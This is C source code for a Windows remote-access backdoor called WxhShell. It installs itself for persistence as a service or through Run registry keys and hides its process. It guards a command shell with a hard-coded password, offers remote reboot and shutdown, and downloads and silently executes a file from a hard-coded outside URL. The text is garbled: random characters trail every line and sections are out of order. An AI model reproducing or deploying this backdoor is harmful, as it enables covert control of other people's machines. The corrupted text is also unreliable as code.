    send(wsh,msg_ws_err,strlen(msg_ws_err),0); v1,oilL  
    else { gr-OHeid  
    closesocket(wsh); mXfXO*Cnp  
    ExitThread(0); i8HTzv"J  
    } `,*5wBC  
    break; 1D!<'`)AY  
    } # c^z&0B}  
  // 获取shell WvZ8/T'x  
  case 's': { }|5Pr(I  
    CmdShell(wsh); c_!cv":s  
    closesocket(wsh); l0i^uMS  
    ExitThread(0); "i W"NFO  
    break; g5r(>,vY  
  } ! #2{hQRu  
  // 退出 ayF\nk4b  
  case 'x': { t}/( b/VD  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 2P{Gxz<#  
    CloseIt(wsh); [Cv/{f3]u{  
    break; I?G :p+  
    } KL Xq\{X  
  // 离开 [0D .K}7|  
  case 'q': { ijx0gh`~  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 0>Z_*U~6  
    closesocket(wsh); *% @h(js  
    WSACleanup(); =+d?x 56  
    exit(1); 2*#|Nj=^  
    break; 4d;8`66O  
        } gEE\y{y  
  } Qv/=&_6  
  } *<ewS8f*6  
*$ %a:q1U  
  // 提示信息 UByv?KZi  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); cDH^\-z  
} qPfQy  
  } h>OfOx/{q9  
85xR2<:  
  return; f^XOUh  
} {%6`!WW[  
Ck7uJI<x  
// shell模块句柄 pBA7,z"`mP  
int CmdShell(SOCKET sock) ~Vjl7G\7i  
{ m$T-s|SY  
STARTUPINFO si; k7A-J\  
ZeroMemory(&si,sizeof(si)); h2 ;F  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; yd`mG{Z  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 'u<juFr  
PROCESS_INFORMATION ProcessInfo; y;@:ulv[  
char cmdline[]="cmd"; "o}+Ciul  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); =P #]  
  return 0; Aj+F |l  
} 1 Nd2{(  
7g}w+p>  
// 自身启动模式 gQ1;],_  
int StartFromService(void) t" Z6[XG  
{ :${HQd+  
typedef struct zu|\fP  
{ 2WxQ(:d=  
  DWORD ExitStatus; ) M BQuiL  
  DWORD PebBaseAddress; j9+w#G]hV  
  DWORD AffinityMask; 161xAig  
  DWORD BasePriority; >]5P 3\AQV  
  ULONG UniqueProcessId; W#WVfr  
  ULONG InheritedFromUniqueProcessId; Sa;qW3dt3E  
}   PROCESS_BASIC_INFORMATION; "d5n \@[t  
OMg<V  
PROCNTQSIP NtQueryInformationProcess; >_ 2dvg=U  
/HRFAqep  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; n$,*|_$#  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; E#t>Qn  
H-fX(9  
  HANDLE             hProcess; 3]3|  
  PROCESS_BASIC_INFORMATION pbi; v9O~@v{=  
Q%mB |i|  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ':m,)G5&  
  if(NULL == hInst ) return 0; ly3\e_z:G  
HcSXsF  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Y,t={HiclX  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ,0HRAmG  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); P:]^rke~&  
_?0}<k Q&  
  if (!NtQueryInformationProcess) return 0; Ob&<]  
uw +M  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Qe0lBR?H  
  if(!hProcess) return 0; uT7B#b7  
gz#i.-  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; q2:6QM&  
h Pa_VrH  
  CloseHandle(hProcess); I- >Ss},U  
qfRH5)k  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 5 -RsnF  
if(hProcess==NULL) return 0; R)ITy!z  
  =`s!;  
HMODULE hMod; =uYYsC\T  
char procName[255]; 2/=l|!JKLz  
unsigned long cbNeeded; cI?8RF(;  
+jnJ|h({  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); JKmIvZ)8  
3c6b6  
  CloseHandle(hProcess); oij}'|/Jc  
.qZ~_xkd  
if(strstr(procName,"services")) return 1; // 以服务启动 '|p$)yx2  
HqD^B[ jS  
  return 0; // 注册表启动 s6.M\^  
} KRMQtgahc  
OCaq3_#tZ  
// 主模块 TOXfWEU3>  
int StartWxhshell(LPSTR lpCmdLine) e)#J1(j_  
{ c*L\_Vx+  
  SOCKET wsl; iq( E'`d  
BOOL val=TRUE; ,a]?S^:y]  
  int port=0; NDlF0f  
  struct sockaddr_in door; q ]e`9/U  
O% KsD[W;  
  if(wscfg.ws_autoins) Install(); (~wqa 3  
X1-'COQS%&  
port=atoi(lpCmdLine); g+>(dnX  
qUGC" <W  
if(port<=0) port=wscfg.ws_port; };jN\x?&q  
(VEpVn3{  
  WSADATA data; e MY<uqdw  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ah0`KxO]  
# ,_u_'C*!  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ,-d 0b0  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); /-+xQn]  
  door.sin_family = AF_INET; ]cZ!y ~  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); cir$voL  
  door.sin_port = htons(port); 5aZ2j26  
Xi,CV[L\  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ^c4@(]v'G  
closesocket(wsl); :^WKT  
return 1; BB*f4z$Y%  
} ~8P!XAU56%  
z(Pe,zES  
  if(listen(wsl,2) == INVALID_SOCKET) { .e=:RkI,  
closesocket(wsl); ADP%QTdqFJ  
return 1; Et/\xL  
} @As[k2  
  Wxhshell(wsl); c[4i9I3v  
  WSACleanup(); `e|0g"oP  
<vh/4  
return 0; kJzoFFWo$  
6qoyiT%P&  
} [] `&vWZ  
_'>oXQJ  
// 以NT服务方式启动 ``Dq  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) s!&#c`=  
{ 9c#+qH  
DWORD   status = 0; pU%n]]qF  
  DWORD   specificError = 0xfffffff; W;L7SF g)  
C|). ;V&  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 1&)?JZhg  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; nvJf/90$  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ]?+p5;{y4  
  serviceStatus.dwWin32ExitCode     = 0; !K}~/9Z=m  
  serviceStatus.dwServiceSpecificExitCode = 0; (ehK?6[  
  serviceStatus.dwCheckPoint       = 0; `W:%mJd9  
  serviceStatus.dwWaitHint       = 0; ?:8ido#-  
+*T7@1  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Dhw(#{N  
  if (hServiceStatusHandle==0) return; UU mTOJr  
2w_WAdi  
status = GetLastError(); 8I8 F/47x  
  if (status!=NO_ERROR) $.PuK~}  
{ 'y2nN=CN  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; %g$V\zmU  
    serviceStatus.dwCheckPoint       = 0; /VS [pXXT|  
    serviceStatus.dwWaitHint       = 0; m~P CB_ifW  
    serviceStatus.dwWin32ExitCode     = status; V4P; 5[  
    serviceStatus.dwServiceSpecificExitCode = specificError; Gh}LlX!w  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Y*>#T  
    return; =Ja]T~0A  
  } (\a]"g,]v  
W<$Z=(_v  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Iw&vTU=2  
  serviceStatus.dwCheckPoint       = 0; {fF3/tL  
  serviceStatus.dwWaitHint       = 0; k*E\B@W>  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); )- viGxJ@  
} 36%nB*  
xtE_=5$~  
// 处理NT服务事件,比如:启动、停止 X;B\Kj`n  
VOID WINAPI NTServiceHandler(DWORD fdwControl) u7\J\r4,+  
{ (?`kYTw7g'  
switch(fdwControl) \h DdU+  
{ z4+k7a@jn  
case SERVICE_CONTROL_STOP: [16cFqD  
  serviceStatus.dwWin32ExitCode = 0; XZJ+h,f  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; <2|O:G  
  serviceStatus.dwCheckPoint   = 0; Q6AC(n@:FV  
  serviceStatus.dwWaitHint     = 0; 8XzR wYV  
  { L ugn 3+  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); H!nr^l'+  
  } `m>*d!h=  
  return; :x{NBvUIc  
case SERVICE_CONTROL_PAUSE: 65p?Igb  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; #H{<gjs]  
  break; ( Qcp{q  
case SERVICE_CONTROL_CONTINUE: ~ ! 3I2  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; `m?c;,\  
  break; qT"Q1xU[  
case SERVICE_CONTROL_INTERROGATE: Bck7\  
  break; | 8=nL$u  
}; ,:`4%  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); jJY"{foWV  
} _$f9]bab  
]*FVz$>XM  
// 标准应用程序主函数 vj\dA2!~  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) P h}|dGb  
{ %D8ZO0J7H  
7L@K _ZJ  
// 获取操作系统版本 W4e5Rb4~f"  
OsIsNt=GetOsVer(); ryCI>vJz  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Y$Y_fjd_  
.J.-Mm` .  
  // 从命令行安装 I1\a[Xe8E  
  if(strpbrk(lpCmdLine,"iI")) Install(); T ;vF(  
Ucm :S-  
  // 下载执行文件 Nwt" \3  
if(wscfg.ws_downexe) { Bj}^\Pc;}  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 2eC(Ijq[a  
  WinExec(wscfg.ws_filenam,SW_HIDE); !V\Q<So<  
} T G{k0cdOT  
t{FlB!jv  
if(!OsIsNt) { 92d6U2T4&  
// 如果时win9x,隐藏进程并且设置为注册表启动 4Hn`'+b  
HideProc(); no] z1D  
StartWxhshell(lpCmdLine); ks97k8B  
} 80&.JP.  
else TJ'[--  
  if(StartFromService()) +$(2:S*r  
  // 以服务方式启动 'XofD}dm  
  StartServiceCtrlDispatcher(DispatchTable); I_%a{$Gjl  
else %4 XJn@J  
  // 普通方式启动 +|@rD/I6  
  StartWxhshell(lpCmdLine); l)w Hl%p  
J.dLPKU;-  
return 0; t|!j2<e  
} z=_Ef3`M  
S:q3QgU=X  
.G(llA}  
f0<%&2ym  
=========================================== ]oV{t<0a  
;9ly'<up  
nJ"YIT1K]p  
]%Nlv(  
^Q ps> A(  
nF4a-H&Fo  
" .OqSch|  
Qb; d:@9  
#include <stdio.h> HU-QDp%*r7  
#include <string.h> xIGfM>uq  
#include <windows.h> ''^Y>k  
#include <winsock2.h> /`;n@0k>2  
#include <winsvc.h> rs*Fy@  
#include <urlmon.h> K ryo}  
d]i(h~?_  
#pragma comment (lib, "Ws2_32.lib") RUUk f({(  
#pragma comment (lib, "urlmon.lib") O Xi@c;F  
<ggtjw S  
#define MAX_USER   100 // 最大客户端连接数 !!V#v9{  
#define BUF_SOCK   200 // sock buffer #gaQaUjR  
#define KEY_BUFF   255 // 输入 buffer -0Tnh;&=  
M- 2Tz[  
#define REBOOT     0   // 重启 ls`,EFF  
#define SHUTDOWN   1   // 关机 +|{RE.DL  
#E+gXan  
#define DEF_PORT   5000 // 监听端口 o|iYd n\  
c8M2 ^{O,`  
#define REG_LEN     16   // 注册表键长度 aJe^Tp(  
#define SVC_LEN     80   // NT服务名长度  ^eGNgE  
CWG6;NT6m  
// 从dll定义API 7Irau_  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); o/ mF #  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); :BukUket1e  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); he-Ji  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); + "}=d3E6  
q4$+H{xB  
// wxhshell配置信息 F3lw@b3])  
struct WSCFG { xc:!cA{V  
  int ws_port;         // 监听端口 qG/fE'(j&  
  char ws_passstr[REG_LEN]; // 口令 pdb1GDl0q  
  int ws_autoins;       // 安装标记, 1=yes 0=no CGP3qHrXt  
  char ws_regname[REG_LEN]; // 注册表键名 Bo+DJizu  
  char ws_svcname[REG_LEN]; // 服务名 _l], "[d  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 a=$t&7;,  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 gx:;&4AD  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 lvpc*d|K  
int ws_downexe;       // 下载执行标记, 1=yes 0=no X$\i{p9jw  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" fiI $T:g.  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 w[-Fm+A>  
e{9jn>\,a  
}; j! NO|&k  
-/dEsgO  
// default Wxhshell configuration C4#rA.nF|  
struct WSCFG wscfg={DEF_PORT,  oM1 6C|  
    "xuhuanlingzhe", omf  Rs  
    1, cZ+7.oDu  
    "Wxhshell", L~/qGDXC?  
    "Wxhshell", GOB(#vu  
            "WxhShell Service", 4Kv[e]10(  
    "Wrsky Windows CmdShell Service", F;!2(sPS  
    "Please Input Your Password: ", Q U F$@)A  
  1, G02m/8g3  
  "http://www.wrsky.com/wxhshell.exe", }o,z!_^PLQ  
  "Wxhshell.exe" ,kp\(X[J  
    }; 4^' 3&vu  
m&oi8 P-6  
// 消息定义模块 NO K/<_/  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Q_"\Q/=?Do  
char *msg_ws_prompt="\n\r? for help\n\r#>"; O^I[ (8Y8  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; }2r+%V&4  
char *msg_ws_ext="\n\rExit.";  5q<zN  
char *msg_ws_end="\n\rQuit."; ^Ori| 4}'  
char *msg_ws_boot="\n\rReboot..."; l  n }}5Q  
char *msg_ws_poff="\n\rShutdown..."; "%QD{z_L  
char *msg_ws_down="\n\rSave to "; Y ?r po  
y8bM<e2 U  
char *msg_ws_err="\n\rErr!"; OAZ#|U   
char *msg_ws_ok="\n\rOK!"; '69ZdP/xX  
tNmy& nsA  
char ExeFile[MAX_PATH]; kF V7l  
int nUser = 0; LDy<k=;o  
HANDLE handles[MAX_USER]; @TA9V@?)  
int OsIsNt; +|%Sx  
])#\_' fg  
SERVICE_STATUS       serviceStatus; %im#ww L%  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ,rwuy[Q8  
'!Kf#@';u  
// 函数声明 x q-$\#O  
int Install(void); =]Hs|{  
int Uninstall(void); FkupO I  
int DownloadFile(char *sURL, SOCKET wsh); AdoZs8Q  
int Boot(int flag); w, jcm;  
void HideProc(void); D~&Mwsi  
int GetOsVer(void); iY/KSX^~O  
int Wxhshell(SOCKET wsl); o8FXqTUcs4  
void TalkWithClient(void *cs); q cA`)j  
int CmdShell(SOCKET sock); qturd7  
int StartFromService(void); Y ZaP  
int StartWxhshell(LPSTR lpCmdLine); 7/X"z=Q^|  
Zq ot{s  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); N\1/JW+  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); I]J*BD#n.  
/=#~  
// 数据结构和表定义 !m{2WW-  
SERVICE_TABLE_ENTRY DispatchTable[] = 9-bG<`v\E  
{ H.O(*Q=  
{wscfg.ws_svcname, NTServiceMain}, [H"#7t.V-~  
{NULL, NULL} )Z@-DA*Q-  
}; g "!\\:M  
-lRhz!E]  
// 自我安装 [~k]{[NJ  
int Install(void) (%Oe_*e}Y  
{ ^2M!*p&h  
  char svExeFile[MAX_PATH]; ~j @UlP  
  HKEY key; <-jGqUN_I  
  strcpy(svExeFile,ExeFile); fjDpwb:x)  
/k"hH\Pp  
// 如果是win9x系统,修改注册表设为自启动 r.FLGD U  
if(!OsIsNt) { ~k4W<   
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ^,2c-  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ,i ++fOnQ  
  RegCloseKey(key); L,-u.vV  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { !Zwf 397  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ]~a_d)  
  RegCloseKey(key); X#+`e+Df  
  return 0; h[ 6hM^n  
    } H] qq ~bO[  
  } {B yn{?w  
} '%3{jc-}  
else { LnMwx#^*  
<qiICb)~  
// 如果是NT以上系统,安装为系统服务 DB&SOe  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); hD 46@  
if (schSCManager!=0) ! VRI_c  
{ g^o_\ hp  
  SC_HANDLE schService = CreateService `.k5v7!o  
  ( o|2 87S|$  
  schSCManager, 5&4F,v[zp  
  wscfg.ws_svcname, yCM{M  
  wscfg.ws_svcdisp, <~%t$:  
  SERVICE_ALL_ACCESS, dB|Te"6  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , u2`xC4>c  
  SERVICE_AUTO_START, 8g5V,3_6  
  SERVICE_ERROR_NORMAL, |Odu4 Q  
  svExeFile, .Y/-8H-3v  
  NULL, m(3);)d  
  NULL, T~Yg5J  
  NULL, W<gD6+=8  
  NULL, TJ2/?p\x  
  NULL iiwpSGFl]  
  ); g+Ph6W  
  if (schService!=0) h1%y:[_  
  { ?\yB)Nd y  
  CloseServiceHandle(schService); \!X?zR_  
  CloseServiceHandle(schSCManager); p\ txlT  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); AZ8UXq  
  strcat(svExeFile,wscfg.ws_svcname); wd`R4CKhP]  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { -v*x V;[  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); \FI^ Vk  
  RegCloseKey(key); ^~I @ spR4  
  return 0; X"J%R/f  
    } iE{Oit^aG  
  } &y3B)#dIJ  
  CloseServiceHandle(schSCManager);  $o+&Y5:  
} `p"U  
} ;2W2MZ!TF  
RUrymkHFB  
return 1; $u,G Vq~  
} "=`~iXT{e  
A[Cg/ +Z  
// 自我卸载 A1!:BC  
int Uninstall(void) #6FaIq92V  
{ ECdfLn*c  
  HKEY key; QBjY&(vY  
;^.9#B,<  
if(!OsIsNt) { /2:Q6J  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { cJq<9(  
  RegDeleteValue(key,wscfg.ws_regname); j[T%'%  
  RegCloseKey(key); er\:U0fr#@  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { =w,(M  
  RegDeleteValue(key,wscfg.ws_regname); (j`l5r#X#/  
  RegCloseKey(key); >#i $Tw  
  return 0; #8qyg<F  
  } ?xHtn2(q  
} '?L%F{g/9  
} wG6FS  
else { "w1(g=n  
XkoWL  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); xfU hSt  
if (schSCManager!=0) }moz9a  
{ &@oq~j_7  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); bfc.rZ  
  if (schService!=0) tYI]=:  
  { e>(Wvb&4  
  if(DeleteService(schService)!=0) { :dbV2'vIQ  
  CloseServiceHandle(schService); B(E tXB9  
  CloseServiceHandle(schSCManager); v7$9QVze  
  return 0; ^AH-+#5  
  } wO\!xW:  
  CloseServiceHandle(schService); W)  
  } *%f3rvt7@)  
  CloseServiceHandle(schSCManager); 'v`~(9'Rcj  
} G32_FQ$ b  
} n=SzF(S[M  
:6sGX p  
return 1; 'XME?H:q a  
} *kV#)j  
zrTY1Asw;4  
// 从指定url下载文件 n K0hTQ  
int DownloadFile(char *sURL, SOCKET wsh) X!?wL 0n  
{ HO G=c!b  
  HRESULT hr; kOzt"t&  
char seps[]= "/"; :'b%5/ ^q  
char *token; +"G(  
char *file; |3W3+Rn!  
char myURL[MAX_PATH]; 7vdHR\#;$  
char myFILE[MAX_PATH]; qFGB'mIrFz  
pJ$(ozV  
strcpy(myURL,sURL); jS}'cm-  
  token=strtok(myURL,seps); aliQ6_  
  while(token!=NULL) \c'%4Ao  
  { !}C4{Bgt*  
    file=token; _fe0,  
  token=strtok(NULL,seps); CYMM*4#  
  } I[a%a!QO  
%G^(T%q| m  
GetCurrentDirectory(MAX_PATH,myFILE); 4I+.^7d  
strcat(myFILE, "\\"); sF, uIr/  
strcat(myFILE, file); olslzXn7o  
  send(wsh,myFILE,strlen(myFILE),0); +&zb^C`J  
send(wsh,"...",3,0); !c v6 #:  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); X$ejy/+.  
  if(hr==S_OK) s:G [Em1  
return 0; gx&\Kw6HM  
else CJtr0M<U+  
return 1; \_)02ZT:  
]r]+yM|  
} la1D2 lM  
MH2OqiCI  
// 系统电源模块 <m:4g ,6  
int Boot(int flag) {m>~`   
{ sL;z"N@PK  
  HANDLE hToken; SIJ# ?0,  
  TOKEN_PRIVILEGES tkp; V&$  J;  
fjF!>Dy  
  if(OsIsNt) { G<Th<JF)Q  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); k^~@9F5k  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); gA|!$ EAM  
    tkp.PrivilegeCount = 1; ~&vA_/M  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; s-Q7uohK  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); cG<Q`(5~  
if(flag==REBOOT) { H{&a)!Ms  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) m.|qVN  
  return 0; #.RG1-L  
} QGu7D #%|  
else { n^3NA| A  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) fB@K'JQG  
  return 0; nA|gQibA  
} kwDjK"  
  } -DbH6u3  
  else { GC,vQ\  
if(flag==REBOOT) { ?T$*5d  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) zLE>kK  
  return 0; AD0ptHUBa  
} 1 yxZ  
else { X=-gAutfE=  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) m[//_TFf]  
  return 0; UA1]o5K  
} jcT{ugpq  
} 0m)-7@  
"{,\]l&o  
return 1; A?^A*e  
} yd{Y}.  
K*J4&5?/  
// win9x进程隐藏模块 dVjcK/T<  
void HideProc(void) MxFt;GgE8  
{ `ja`#%^\u  
#r78Ym'aI  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); }D&"z8mP  
  if ( hKernel != NULL ) <yPq;#z(!  
  { - I1cAt  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 5e~ j  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Ac*B[ywA3  
    FreeLibrary(hKernel); /gMa"5?,  
  } OtrXYiKB   
35-DnTv  
return; H-nFsJ(R!c  
} EN5G:hD  
7TMDZ*  
// 获取操作系统版本 "\wDS2M)  
int GetOsVer(void) FB?q/ _  
{ c %6 @ z  
  OSVERSIONINFO winfo; Y`E {E|J  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Xs.$2  
  GetVersionEx(&winfo); &mO/u= u  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 6&/ Ew4 e  
  return 1; WOe{mwhhj  
  else {+9^PC_hm;  
  return 0; cQUH%7m  
} QiQ2XW\E  
oX=*MEfX  
// 客户端句柄模块 u(TgWp5WF  
int Wxhshell(SOCKET wsl) 0%q{UW2  
{ ^=heen<S%  
  SOCKET wsh; [<@A8Q5,y  
  struct sockaddr_in client; 8\W3Fv Q  
  DWORD myID; 2<\yky  
Ah8^^h|TPJ  
  while(nUser<MAX_USER) P?yOLG+)l)  
{ '>S8t/  
  int nSize=sizeof(client); ` maN5)  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Y3sNr)qss  
  if(wsh==INVALID_SOCKET) return 1; f6dE\  
cN[ q)ts  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); CguU+8 ]  
if(handles[nUser]==0) zO7lsx2 =  
  closesocket(wsh); Rd;~'gbG  
else %Hl:nT2M  
  nUser++; 3=G5(0  
  } !`d832  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Hz;jJ&S  
&zg$H,@Qp  
  return 0; h~^qG2TYWq  
} ;_Of`C+  
%i]uW\~U  
// 关闭 socket b'Piymx  
void CloseIt(SOCKET wsh) -?2&5YB  
{ X,C/x)  
closesocket(wsh); nJM9c[Ou^H  
nUser--; y<Z#my$`|n  
ExitThread(0); (dGM;Dq8  
} OJC*|kN-#^  
y[ rB"  
// 客户端请求句柄 b 'Nvx9=W  
void TalkWithClient(void *cs) ki][qvXJ  
{ }fa%JN %E  
^|:{,d#Y  
  SOCKET wsh=(SOCKET)cs; 04T*\G^:=  
  char pwd[SVC_LEN]; C6;](rN)N  
  char cmd[KEY_BUFF]; %+j]vP  
char chr[1]; s].'@_~s  
int i,j; F%ylR^H>  
9< 0$mE^:  
  while (nUser < MAX_USER) { l#5k8+s  
\I o?ul}za  
if(wscfg.ws_passstr) { Sv^'CpQ  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); uq#h\p|  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); bCac .x#jo  
  //ZeroMemory(pwd,KEY_BUFF); vY+_tpuEH  
      i=0; QVZ6;/  
  while(i<SVC_LEN) { 5k7(!  
q[,R%6&'  
  // 设置超时 KWuj_.;  
  fd_set FdRead; *M\i4FO8  
  struct timeval TimeOut; 88+\mX;A#  
  FD_ZERO(&FdRead); -T>wi J  
  FD_SET(wsh,&FdRead); `QyALcO   
  TimeOut.tv_sec=8; J1v0 \  
  TimeOut.tv_usec=0; lLwQridFXh  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 5M.n'*   
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 4|o{_g[  
aR(Z~z;C  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); q0KXuMK  
  pwd=chr[0]; ]mLTF',5  
  if(chr[0]==0xd || chr[0]==0xa) { ePcI^}{  
  pwd=0; H* JC`:  
  break; Xta>  
  } eMP Q| W  
  i++; FoelOq6  
    } \ ]e w@C  
A1s=;qr  
  // 如果是非法用户,关闭 socket ; hRpAN  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); owS@dbO  
} d_?Zr`:  
}rAN2D]"}  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ,+5VeRyrV  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Z?j='/u>@  
R.WsC bU  
while(1) { FOnA;5Aa  
N\?Az668?  
  ZeroMemory(cmd,KEY_BUFF); Nz;*;BQK:  
}W>[OY0^A  
      // 自动支持客户端 telnet标准   \5pAG mgD  
  j=0; ,I:m*.q  
  while(j<KEY_BUFF) { ;g)Fhdy!  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); =A&*SE o5  
  cmd[j]=chr[0]; 5]n<%bP\  
  if(chr[0]==0xa || chr[0]==0xd) { !Pjg&19  
  cmd[j]=0; +Gwe%p Q  
  break; UFY~D"% /  
  } Appz1q  
  j++; Dqcu$ V]  
    } e.Q K%  
~FrkLP  
  // 下载文件 zxmI/]3+/  
  if(strstr(cmd,"http://")) { 3[O =2  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); nm|m1Z+U  
  if(DownloadFile(cmd,wsh)) YM/3VD  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0);  rOf  
  else $Aoqtz d\  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); rZCAj  
  } $j2)_(<A%Q  
  else { L-:L= snO  
